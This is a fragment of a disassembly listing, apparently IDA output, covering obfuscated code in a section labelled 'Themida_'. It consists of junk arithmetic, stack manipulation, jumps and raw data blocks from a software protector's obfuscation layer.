		dd 5258F205h, 0FF7DF4E9h, 68E289FFh, 64B1h, 0E9240C89h
		dd 14Eh, 4C481h, 0D9870000h, 6E9D3F7h, 87FFFF91h, 315C2404h
		dd 0E99C2404h, 0FFFECD31h, 0E92434FFh, 0FFFEE3E8h
; ---------------------------------------------------------------------------


loc_5739EC:				; CODE XREF: Themida_:005697B7j
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_56E4C5
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 1970h, 242C8B5Bh, 0F0DBE957h, 3ABFFFFEh, 0BA01D66Ch
		dd 1D66C38h, 0C4E9FA31h, 0DFFFF9Eh, 45B94169h, 3499B951h
		dd 82E92A31h, 5AFFFF73h, 2EC81h, 89660000h, 88532414h
		dd 135EE9EBh, 835E0000h, 57E904ECh, 81FFFF47h, 3840B3F6h
		dd 5EF7315Eh, 242C8157h, 49026E86h, 8D73E95Eh, 0D001FFFFh
		dd 2404875Ah, 8124248Bh, 823A9EEAh, 69A4E942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_57559F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 8B2434FFh, 0C481240Ch, 4,	4C481h,	0B7680000h
		dd 8900004Fh, 1AE9242Ch, 66FFFF2Eh, 5324048Bh, 81E28952h
		dd 4C2h, 4EA8100h, 0E9000000h, 1353h, 0E9240C8Bh, 0FFFF1C7Eh
		dd 42474FFh, 0FFB872E9h, 241C89FFh, 0A9E95655h,	81FFFFC1h
		dd 4C7h, 243C8700h, 0FFF183E9h,	47B468FFh, 34890000h, 7DBC6824h
		dd 0DBE945A9h
		db 0F7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_573B0B:				; CODE XREF: Themida_:0056CCE3j
		push	ebp
		push	7DC55F16h
		jmp	loc_56DF49
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 1000000h, 0DBE4E9CAh, 38BDFFFEh, 0F7160B65h,	2E5C1DDh
		dd 5F4AF581h, 0F5814DD4h, 97F73F6Ch, 0FFFAE4E9h, 2434FFFFh
		dd 0FFF94EE9h, 0D00166FFh, 2C8B665Ah, 2C48124h,	66000000h
		dd 81241C8Bh, 4ECh, 24048900h, 0FEF8DCE9h, 0AF581FFh, 891C871Bh
		dd 65E95DEBh, 81FFFF6Eh, 112832E9h, 81C10117h, 112832C1h
		dd 0C9E98117h, 8B789F31h, 0C4812404h, 4, 0FF2434FFh, 0CDE92434h
		dd 48FFFF34h, 0FFA8FCE9h, 4C181FFh, 81000000h, 4E9h, 240C8700h
		dd 1BAEE95Ch, 44810000h, 3AC30424h, 5E93EF3h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573BC3:				; CODE XREF: Themida_:00560A4Cj
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 31420B24h
		add	ebp, ecx
		sub	ebp, 31420B24h
		add	ebp, 5DE832D0h
		jmp	loc_564FA9
; ---------------------------------------------------------------------------


loc_573BE5:				; CODE XREF: Themida_:00573714j
		mov	ecx, 0C443D1Fh
		push	edx
		mov	edx, 95EE9C63h
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		xor	dword ptr [esp], 0C6B4D52h
		jmp	loc_56DE10
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 0DAh
		dd 81346577h, 875F19C2h, 0F6F0E929h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573C16:				; CODE XREF: Themida_:005631B8j
		add	edi, 48962AD3h
		xchg	ecx, edi
		push	ecx
		jmp	loc_56CF3A
; ---------------------------------------------------------------------------
		dd 8704C683h, 555C2434h, 6D2E7C68h, 0DDF75D4Bh,	0FFF45CE9h
		dd 348B5FFFh, 4EC8124h,	89000000h, 0E2892414h, 4C281h
		dd 0C2810000h, 4, 0E9241433h, 0FFFF0765h
; ---------------------------------------------------------------------------


loc_573C5C:				; CODE XREF: Themida_:00570771j
		mov	esi, 5D5E5E19h
		xor	eax, esi
		jmp	loc_566427
; ---------------------------------------------------------------------------
		dd 0E959CF29h, 0FFFED34Fh
; ---------------------------------------------------------------------------


loc_573C70:				; CODE XREF: Themida_:0056E824j
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_57493E
; ---------------------------------------------------------------------------
		db 56h
		dd 2BE7BB53h, 31BE6A29h, 0E9BAF743h, 0FFFF19F9h, 68EDC381h
		dd 0DD3199DCh, 0FFE8095Bh, 0E95D2434h, 0FFFF7146h, 81241C8Bh
		dd 4C4h, 4EC8100h, 89000000h, 0AB22414h, 8011C280h, 0C280FFEAh
		dd 4EC81E5h, 89000000h,	6E9240Ch, 5AFFFFE4h, 99DEA81h
		dd 0C2010833h, 71F7BD55h, 0F2E92476h, 0B2FFFF76h, 5AD18829h
		dd 771B68h, 0E5D8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573CEE:				; CODE XREF: Themida_:005706DEj
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_573CFE:				; CODE XREF: Themida_:00563433j
		push	7A03h
		mov	[esp], ebx
		push	eax
		mov	eax, 5F942328h
		add	dword ptr [esp+4], 5E922A84h
		push	1C12h
		mov	[esp], edi
		mov	edi, 9620B4Fh
		sub	[esp+8], edi
		pop	edi
		sub	dword ptr [esp+4], 59B01B5Dh
		add	[esp+4], eax
		add	dword ptr [esp+4], 59B01B5Dh
		jmp	loc_5752BE
; ---------------------------------------------------------------------------


loc_573D3F:				; CODE XREF: Themida_:0056A1F3j
		sub	edi, 0DC8A3EA7h
		add	edx, edi
		pop	edi
		add	edx, 0DBDF2859h
		xor	eax, edx
		pop	edx
		push	6A0Ah
		jmp	loc_572888
; ---------------------------------------------------------------------------
		db 66h
		dd 22EBE95Ah, 0C681FFFFh, 4, 0FF7098E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573D6D:				; CODE XREF: Themida_:00574435j
		mov	[esp], ecx
		jmp	loc_56FAB1
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 0BDh
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573D7B:				; CODE XREF: Themida_:005723C8j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5757C7
; ---------------------------------------------------------------------------
		db 0BEh, 21h, 74h
		dd 0BB530B3Bh, 561238F2h, 357CE943h, 0C33FFFFh,	73685C24h
		dd 8900006Bh, 4F68240Ch, 89000009h, 0E9552404h,	0FFFFE356h
		dd 0E9243C89h, 0FFFF208Eh, 2B57E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573DC2:				; CODE XREF: Themida_:00564E1Fj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_574866
; ---------------------------------------------------------------------------
		dd 4EC83ACh, 83241489h,	48904ECh, 2CCFB024h, 173CE9F0h
		dd 81510000h, 4ECh, 24048900h, 0FF1238E9h, 66F828FFh, 4EC835Bh
		dd 53240C89h, 0E92FB252h, 0FFFF0B07h, 5196BB53h, 0E38150BBh
		dd 4CB367ECh, 0FF8DBCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573E1D:				; CODE XREF: Themida_:00564892j
		pop	esp
		pop	ecx
		jmp	loc_567A47
; ---------------------------------------------------------------------------


loc_573E24:				; CODE XREF: Themida_:005734A9j
		push	edx
		mov	edx, 7D2463F5h
		xor	edi, edx
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_56659D
; ---------------------------------------------------------------------------
aMfsrNaTaLh5	db '¬fSR²N€Â’€ÊLh5`',0
		align 2
		dw 0A4E9h
		db 0EFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_573E63:				; CODE XREF: Themida_:00570353j
		mov	esp, [esp]
		mov	[esp], ebx
		push	ebp
		mov	ebp, 679A2D37h
		add	ebp, 11B95A50h
		jmp	loc_57427E
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 14A1E9h, 0D186800h, 0C890000h, 4EF2B924h
		dd 0D1F74222h, 536168h,	24148900h, 0FF23E8E9h, 0DF685EFFh
		dd 0E9000043h, 0FFFF6B62h
; ---------------------------------------------------------------------------


loc_573EAC:				; CODE XREF: Themida_:00571628j
		mov	ebx, 6A720E72h
		push	edx
		mov	edx, 51D11B8Fh
		add	edx, 7397B3Fh
		shr	edx, 4
		jmp	loc_574619
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0E924248Bh, 0FFFFBBD8h, 0CE81DEF7h, 1E43686Fh, 9EE9D6F7h
		dd 0B2FFFFB8h, 0E9D5000Fh, 0FFFECC5Bh
; ---------------------------------------------------------------------------


loc_573EE8:				; CODE XREF: Themida_:0056CDA6j
		and	esi, edi
		pop	edi
		xor	esi, 31BA58BCh
		push	edi
		jmp	loc_56A457
; ---------------------------------------------------------------------------
		db 68h
		dd 442764DBh, 5E6C15Eh,	0FF45B3E9h, 4C781FFh, 56000000h
		dd 4BEh, 5EF70100h, 31243C33h, 3C33243Ch, 48F5C24h, 0D3665C24h
		dd 0E99C2424h, 0FFFEC7E9h
; ---------------------------------------------------------------------------


loc_573F2C:				; CODE XREF: Themida_:00566C4Bj
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 29463CDDh
		push	217Ah
		mov	[esp], ebx
		neg	dword ptr [esp]
		jmp	loc_56B2FB
; ---------------------------------------------------------------------------


loc_573F59:				; CODE XREF: Themida_:0056D5C4j
		shr	ebx, 6
		not	ebx
		sub	ebx, 0E4C89B27h
		jmp	loc_565CB9
; ---------------------------------------------------------------------------
		db 25h,	0F6h, 74h
		dd 57E90308h
		db 0F1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_573F73:				; CODE XREF: Themida_:00561080j
		mov	eax, esp
		jmp	loc_5652F7
; ---------------------------------------------------------------------------


loc_573F7A:				; CODE XREF: Themida_:00564D74j
		pop	ebx
		jmp	loc_572322
; ---------------------------------------------------------------------------
		dd 73E9F789h, 68FFFF16h, 229Ch,	54242C89h, 86BF575Dh, 0E9010B5Dh
		dd 0FFFEE758h, 0C181E189h, 4, 0E904C183h, 0FFFF519Dh, 34A8E951h
		dd 0C481FFFFh, 4, 4EC81h, 0C890000h, 2234B924h,	0D9F76E8Ah
		dd 0F181D1F7h, 7DE81913h, 0FF0CFBE9h, 0ADF381FFh, 12589D1h
		dd 0DE015BDEh, 6B2FEE81h, 875B2516h, 68E92434h,	8BFFFF55h
		dd 0B6E92434h, 52FFFFF6h, 0FF1FC9E9h, 0B9515DFFh, 5B2219A0h
		dd 0E941D9F7h, 0FFFF7CF2h
; ---------------------------------------------------------------------------


loc_57400C:				; CODE XREF: Themida_:00570C4Cj
		pop	esi
		pop	ecx
		push	edi
		mov	edi, 75147CC3h
		neg	edi
		and	edi, 31750232h
		or	edi, 4719656Fh
		and	edi, 6395024Ah
		add	edi, 0D2927697h
		sub	esi, edi
		jmp	loc_56585C
; ---------------------------------------------------------------------------


loc_574035:				; CODE XREF: Themida_:00566914j
		shl	edx, 4
		jmp	loc_5637FF
; ---------------------------------------------------------------------------
		dd offset dword_4B5248+14920h
		align 2
		dw 1BE9h
		dd 35FFFF18h, 302812FEh, 8158C231h, 1BF04C2h, 5AD131FDh
		dd 0C8BCD01h, 4E95324h,	5EFFFF6Bh, 8159CA01h, 2848F1C3h
		dd 0FC1E955h, 81590000h, 1064E1EAh, 9014E94Fh, 2068FFFFh
		dd 89000073h, 5CBE2434h, 812EFB1Fh, 3BE908EEh, 5EF13104h
		dd 0B596E991h, 0EC83FFFFh, 9733E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5740A2:				; CODE XREF: Themida_:00575167j
		mov	ebx, edi
		pop	edi
		add	ebp, ebx
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_5608B1
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 5C240C87h, 0FED290E9h, 4F904FFh, 2803049Dh, 2C032CD8h
		dd 4F92C9Dh, 685366D9h,	1B20h, 53241489h, 0EB80A9B3h, 96E95244h
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5740E7:				; CODE XREF: Themida_:00567F17j
		mov	[esp], eax
		push	esi
		mov	esi, 58AF5186h
		mov	eax, esi
		mov	esi, [esp]
		jmp	loc_56DE05
; ---------------------------------------------------------------------------
		dw 8159h
		dd 8804246Ch, 5D29CF42h, 68243C8Bh, 2B50h, 0FFFCA3E9h
		dd 0D7E95CFFh, 8BFFFFB7h, 1C892424h, 8A33E924h,	4481FFFFh
		dd 18D80424h, 2C8B6EF7h, 0E0895024h, 405h, 4EC8100h, 89000000h
		dd 0B850243Ch, 390B3FE9h, 0FEEB58E9h, 0FFD021FFh, 34FF2434h
		dd 0C4835A24h, 4C48304h, 0FEF025E9h, 240C89FFh,	42474FFh
		dd 0FFC77AE9h, 55B58FFh, 541B5863h, 9E9F801h, 83FFFF2Fh
		dd 0C78104C4h, 2, 179F68h, 243C8900h, 42474FFh,	0E9243C8Bh
		dd 0FFFF4688h, 2926EF81h, 0F8098CCCh, 1BE6E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5741A2:				; CODE XREF: Themida_:0056910Cj
		mov	dl, al
		push	eax
		mov	ah, dl
		jmp	loc_56DBB9
; ---------------------------------------------------------------------------
		dd 8102EAC1h, 71B665F2h, 0E9D00131h, 0FFFFBFCFh
; ---------------------------------------------------------------------------


loc_5741BC:				; CODE XREF: Themida_:0056DCCCj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5682AE
; ---------------------------------------------------------------------------
		db 31h
		dd 0F50159CEh, 1DC5815Eh, 1796521h, 1DED81FDh, 81796521h
		dd 0D354C7EDh, 0ECF6E91Bh, 1489FFFEh, 2BA0BA24h, 0EC8360E9h
		dd 24048904h, 0FFB5B7E9h, 4C481FFh, 5000000h, 4, 0FEECEEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57420D:				; CODE XREF: Themida_:00566ED4j
		push	eax
		push	555B6F79h
		pop	eax
		xor	eax, 2D606873h
		sub	eax, 7BF04545h
		push	eax
		sub	dword ptr [esp], 7A247FE2h
		pop	ecx
		push	eax
		mov	eax, 7A247FE2h
		jmp	loc_56512E
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4B850h, 0C1290000h, 240C8758h, 241C895Ch,	1242C83h
		dd 0AAB1E95Bh, 0D689FFFFh, 0FED272E9h, 4C483FFh, 34F581h
		dd 0EF01082Ah, 0FF38D9E9h, 34FF54FFh, 241C8B24h, 4C481h
		dd 0C4830000h, 0ECEBE904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57427E:				; CODE XREF: Themida_:00573E75j
		neg	ebp
		or	ebp, 64007E75h
		neg	ebp
		add	ebp, 4E01DD01h
		mov	ebx, ebp
		jmp	loc_56661B
; ---------------------------------------------------------------------------


loc_574295:				; CODE XREF: Themida_:0056A0F8j
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_564900
; ---------------------------------------------------------------------------


loc_5742A1:				; CODE XREF: Themida_:0056782Fj
		mov	ebx, [esp]
		push	3CE8h
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 329703CCh
		shr	ecx, 3
		shr	ecx, 6
		dec	ecx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		dec	ecx
		push	eax
		mov	eax, 3061591Bh
		or	ecx, eax
		pop	eax
		add	ecx, 180285h
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		push	esi
		mov	esi, 4
		jmp	loc_562184
; ---------------------------------------------------------------------------
		dd 83242489h, 5B042404h, 4C381h, 6FE90000h
		db 0D6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5742FB:				; CODE XREF: Themida_:0056395Dj
		mov	edx, 0CD6FF552h
		add	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_56AFC0
; ---------------------------------------------------------------------------


loc_574311:				; CODE XREF: Themida_:0057080Ej
		xor	edx, 4E6841EAh
		mov	eax, edx
		pop	edx
		shl	eax, 2
		jmp	loc_564B81
; ---------------------------------------------------------------------------


loc_574322:				; CODE XREF: Themida_:00566F12j
		mov	[esp], eax
		jmp	loc_56CC6B
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 133AE9h, 0F5015D00h,	8324348Bh, 1C8B04C4h, 1083E924h
		dd 0FB010000h, 34FF0B88h, 89535B24h, 29BE56E3h,	810DB848h
		dd 485BBCC6h, 0B5CE8131h, 81042A4Bh, 274403CEh,	0FE1CE914h
		dd 0DFF7FFFEh, 8106EFC1h, 0DC7760C7h, 0E9FB292Ch, 0FFFFF8BDh
		dd 0E9242C89h, 0FFFF9A03h, 5F04C483h, 0FF0EC7E9h, 4C383FFh
		dd 0FF2461E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574395:				; CODE XREF: Themida_:00563E88j
		pop	edx
		push	dword ptr [esp]
		jmp	loc_56FCAE
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 2474FF52h, 48F5A04h, 24248B24h, 5EE930FFh, 5FFFEC3h
		dd 65CA3D22h, 50B26435h, 58C201DEh, 31241433h, 14332414h
		dd 24248B24h, 24048B66h, 334068h, 24348900h, 0BB53E689h
		dd 1B62917h, 0FFFFB951h, 0CB01FFFFh, 6EB56859h,	1C890000h
		dd 24348724h, 3487D6F7h, 241C8B24h, 81E78957h, 4C7h, 0F6DDE900h
		dd 0E953FFFFh, 0FFFECA4Bh, 89240489h, 405E0h, 0C0830000h
		dd 33E95004h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_574427:				; CODE XREF: Themida_:005613ABj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	1Ah
		jmp	loc_573D6D
; ---------------------------------------------------------------------------


loc_57443A:				; CODE XREF: Themida_:00569275j
		add	ebx, 69B77E67h
		add	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_57201F
; ---------------------------------------------------------------------------


loc_57444B:				; CODE XREF: Themida_:005628DEj
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56969D
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F580424h, 525C2404h, 0FFFA76E9h, 0C5B353FFh, 805BD988h
		dd 0C1FEFDC1h, 0E960B753h, 0FFFF066Fh, 0BEAEC8BBh, 5BDD3121h
		dd 242C8155h, 6D6A21D1h, 0CC06E95Fh, 0C89FFFEh,	0C8B5424h
		dd 4C48124h, 68000000h,	5E2Ah, 0FF0E58E9h, 81DFF7FFh, 0D85E9DEFh
		dd 5FFA8951h, 148BD101h, 0E0895024h, 0FEF321E9h, 242489FFh
		dd 4240481h, 0FF000000h, 505A2434h, 405E089h, 83000000h
		dd 48704C0h, 24248B24h,	4C281h,	0C2830000h, 53DCE904h
		dd 15CFFFFh, 62F62DC8h,	6D0535DAh, 594DF618h, 31240433h
		dd 68E92404h, 81FFFF5Dh, 827F6EEBh, 5B5E5352h, 0E95EF701h
		dd 0FFFF01AAh, 0E92434FFh, 0FFFFD865h, 15F58159h, 0F76D597Eh
		dd 653BE9DDh, 34FFFFFFh, 0E1685824h, 89000064h,	0E589242Ch
		dd 1F73B850h, 0E9406DE9h, 0FFFF8D3Ch
; ---------------------------------------------------------------------------


loc_574548:				; CODE XREF: Themida_:005666D7j
		sub	ebp, ebx
		jmp	loc_56773C
; ---------------------------------------------------------------------------
		db 81h
		dd 0D93811C1h, 4EC8118h, 89000000h, 5AE92414h, 52000009h
		dd 0FF80D4E9h, 7AE981FFh, 500E8A81h, 68694FB8h,	58C1019Dh
		dd 5359CD29h, 0FFFEFBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574581:				; CODE XREF: Themida_:0056EDCFj
		push	dword ptr [edi+eax*4]
		push	7BEEh
		mov	[esp], edx
		mov	edx, 4D20471Fh
		jmp	loc_563E84
; ---------------------------------------------------------------------------
		dw 5704h
		dd 0B551F134h, 152E9B0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5745A2:				; CODE XREF: Themida_:0056A06Aj
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_56FCCB
; ---------------------------------------------------------------------------


loc_5745C1:				; CODE XREF: Themida_:0056DE72j
		sub	ecx, ebx
		pop	ebx
		xor	eax, ecx
		pop	ecx
		jmp	loc_566F95
; ---------------------------------------------------------------------------


loc_5745CC:				; CODE XREF: Themida_:005630EFj
		mov	ebx, eax
		pop	eax
		push	5FC3h
		jmp	loc_56BDAE
; ---------------------------------------------------------------------------
		db 0BAh, 0Dh, 26h
		dd 0D101151Dh, 0E92434FFh, 1190h, 0E9241C33h, 0FFFEEB7Ch
; ---------------------------------------------------------------------------


loc_5745F0:				; CODE XREF: Themida_:0056D149j
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_5695C1
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0B9512424h, 4, 0FFBEBDE9h, 24348BFFh, 0FFB933E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574619:				; CODE XREF: Themida_:00573EC0j
		add	edx, 5B9D0634h
		xor	edx, 114D5765h
		sub	edx, 0FEEAF3F6h
		sub	ebx, edx
		pop	edx
		xor	ebx, 0D3405F9Fh
		jmp	loc_56A318
; ---------------------------------------------------------------------------


loc_574639:				; CODE XREF: Themida_:0057148Dj
		shr	edi, 7
		sub	edi, 0C2D2B5B7h
		add	ecx, 1A1E26B9h
		add	ecx, edi
		sub	ecx, 1A1E26B9h
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 538C1E95h
		add	ecx, edx
		pop	edx
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2A751F71h
		not	ebx
		and	ebx, 1F996642h
		shr	ebx, 1
		add	ebx, 0F53BD003h
		add	eax, ebx
		jmp	loc_56972D
; ---------------------------------------------------------------------------
		dd 5C241C87h, 0ECABE950h, 0E089FFFEh, 405h, 42D00h, 4870000h
		dd 24248B24h, 0B9240C89h, 4, 568AC281h,	64E92C89h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5746BB:				; CODE XREF: Themida_:005734D9j
		add	edx, 4
		jmp	loc_56A74D
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 242C8904h, 0FF6A03E9h, 242C89FFh, 0FF415BE9h, 240489FFh
		dd 0DEB25266h, 88D78853h, 2434FFFCh, 4C4815Bh, 0E9000000h
		dd 0FFFFF667h, 0F6E9C580h, 1ED80D5h, 0CCE9DDF6h, 0FFFFFF83h
		dd 83582434h, 1C3304C4h, 0C4F8E924h, 0EC83FFFFh, 241C8904h
		dd 0E4E9B7B7h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57471F:				; CODE XREF: Themida_:005608E8j
		sub	bh, 7Eh
		add	bh, cl
		jmp	loc_5618CD
; ---------------------------------------------------------------------------
aIurs		db '‰ãRéÖ',0Ah,0
		dd 665A6600h, 0AD73E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57473A:				; CODE XREF: Themida_:00564B20j
		pop	eax
		pop	ebx


loc_57473C:				; CODE XREF: Themida_:00562CCEj
					; Themida_:loc_5677B2j
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_56476B
; ---------------------------------------------------------------------------
		db 80h
		dd 0C3002DC3h, 0FF2561E9h, 54095FFh, 6F6C1DFh, 1B644F2Dh
		dd 0D3B4E972h, 8B66FFFFh, 0EC81240Ch, 4, 0FF837AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574781:				; CODE XREF: Themida_:0057299Aj
		mov	cl, bl
		pop	ebx
		or	cl, 6Fh
		jmp	loc_56CBEF
; ---------------------------------------------------------------------------
		dd 5EDC14Dh, 57F0E581h,	0E9537208h, 0FFFF26CFh,	104C483h
		dd 39BD55DFh, 13AE253h,	0CEE95DEFh, 51FFFED3h, 0FEDFB7E9h
		dd 0C1D5F7FFh, 0C58104EDh, 0FFFFFFFFh, 0D333E94Dh, 3548FFFFh
		dd 94C33180h, 5258C189h, 45166857h, 0B2E96BA3h,	89FFFED2h
		dd 0C4F1E9E3h, 0E981FFFFh, 888A0DEDh, 0C8BCD89h, 4C48324h
		dd 0FEC9F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5747F5:				; CODE XREF: Themida_:00570EB1j
		xor	edx, 6446610h
		xor	edx, 0E60A8B8Fh
		and	edx, 69CC0824h
		push	esi
		mov	esi, 383D3ED4h
		not	esi
		jmp	loc_569FA6
; ---------------------------------------------------------------------------
		dd 5704C483h, 8822A1BFh, 0F174E949h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_574822:				; CODE XREF: Themida_:005689C7j
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		jmp	loc_566E31
; ---------------------------------------------------------------------------


loc_574836:				; CODE XREF: Themida_:00572737j
		push	eax
		mov	eax, 29CC0CD0h
		jmp	loc_5657A1
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 8Bh
		dd 0C483241Ch, 4EC8104h, 89000000h, 27E9241Ch, 1FFFEF4h
		dd 5C281C2h, 58096260h,	120E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_574866:				; CODE XREF: Themida_:00573DCFj
		mov	cl, 0BAh
		not	cl
		push	1F00h
		mov	[esp], ebx
		mov	bh, 1Bh
		jmp	loc_56341B
; ---------------------------------------------------------------------------
		db 29h,	0D1h, 53h
		dd 7E073FBBh, 5BD9290Ah, 0FEDAB1E9h, 0EEC581FFh, 0F75B596Eh
		dd 2EDC1DDh, 8E41ED81h,	0EF09F282h, 0EFE0E95Dh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5748A2:				; CODE XREF: Themida_:0056BE98j
		pop	edx
		push	esi
		not	dword ptr [esp]
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_57356F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 17E95D24h, 66FFFF4Fh, 1B753h, 1C8B66F9h, 391DE924h
		dd 0C89FFFFh, 53595424h, 382D90BBh, 2EB8149h, 0F738C066h
		dd 75F381D3h, 1EF8838h,	0BE565BD9h, 3C6E3BC5h, 3DECE81h
		dd 0EEC106FBh, 32E94E05h, 89FFFEF9h, 4EC81E2h, 89000000h
		dd 0EE682404h, 5878F33Bh, 0FFD2D0E9h, 2474FFFFh, 0E666E904h
		dd 8146FFFFh, 0CC0F80C6h, 1118E915h, 68BA0000h,	8125C348h
		dd 0EA08F4C1h, 81D1294Dh, 0EA08F4E9h, 17D9E94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57493E:				; CODE XREF: Themida_:00573C76j
		add	edi, 4
		add	edi, 4
		jmp	loc_574BB8
; ---------------------------------------------------------------------------
		db 33h
		dd 22E9240Ch, 89FFFFDCh, 4C281E2h, 83000000h, 148704C2h
		dd 0BA525C24h, 4, 5BE9D001h, 0FEFFFFCAh, 7EFC0C7h, 0FEDC55E9h
		dd 3026B3FFh, 1F45E9D3h, 0E289FFFFh, 4C281h, 0B4E90000h
		dd 51FFFED8h, 0F5E9E189h, 55FFFF3Bh, 0F7243487h, 243487D6h
		dd 53EDD15Dh, 51A26850h, 355862BBh, 38AF12F3h, 3EE9C389h
		dd 0BAFFFFCCh, 55983021h, 0E95AD089h, 0FFFFB280h, 0CFCEE95Dh
		dd 81ADFFFEh, 4ECh, 242C8900h, 7696856h, 348B4295h, 4C48124h
		dd 0E9000000h, 0FFFEC0B1h, 3C5E15BFh, 51D7F76Dh, 0FF747EB9h
		dd 0E1C14903h, 0FCE98102h, 29F927ABh, 0DFF759CFh, 1EF81h
		dd 97E90000h, 83FFFEECh, 0C8704C4h, 0A587E924h,	0EEC1FFFFh
		dd 7CCE8107h, 0F737226Bh, 6E681DEh, 8101D859h, 0D91B6CF6h
		dd 0BF14E97Dh, 1C87FFFFh, 31AFE924h, 0B951FFFFh, 2FFF77F3h
		dd 0FFBA79E9h, 0F58851FFh, 8859E888h, 0E95A58C5h, 0FFFEF65Dh
		dd 24048B66h, 4EC8357h,	0E9242489h, 0FFFFCD8Ch,	0FEBCA4E9h
		dd 0EC1B8FFh, 49E97964h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574A7B:				; CODE XREF: Themida_:00572B99j
		add	eax, esi
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_569B9D
; ---------------------------------------------------------------------------
		db 0B8h, 10h, 6Bh
		dd 1B0507BCh, 353CAED9h, 8FB5621Bh, 55E2E950h, 0EC83FFFFh
		dd 24048904h, 781D7FB8h, 0E9C32968h, 0FFFFCF2Eh
; ---------------------------------------------------------------------------


